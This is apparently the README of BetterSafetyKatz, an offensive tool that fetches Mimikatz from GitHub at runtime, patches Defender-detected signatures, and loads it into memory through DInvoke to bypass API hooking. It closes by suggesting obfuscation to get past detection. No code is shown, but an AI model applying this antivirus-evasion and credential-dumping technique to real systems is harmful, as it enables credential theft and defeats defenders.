BetterSafetyKatz?

This modified fork of SafetyKatz dynamically fetches the latest pre-compiled release of Mimikatz directly from the gentilkiwi GitHub repo, runtime patching on detected signatures and uses SharpSploit DInvoke to get it into memory.

1. Gets the URL for the latest ZIP / PreCompiled Mimikatz binary directly from GitHub Repo
2. Unzipped in memory, turned into HEX. Then strings/signatures detected by Windows Defender are replaced with random strings of the same size (Used https://github.com/matterpreter/DefenderCheck to gather signatures detected)
3. PE-Loaded into mem using SharpSploit 1.6 DInvoke, bypassing API hooking.(https://thewover.github.io/Dynamic-Invoke/)

Detected?

BetterSafetyKatz has basic signature detections by now, some obfuscation will do the trick!
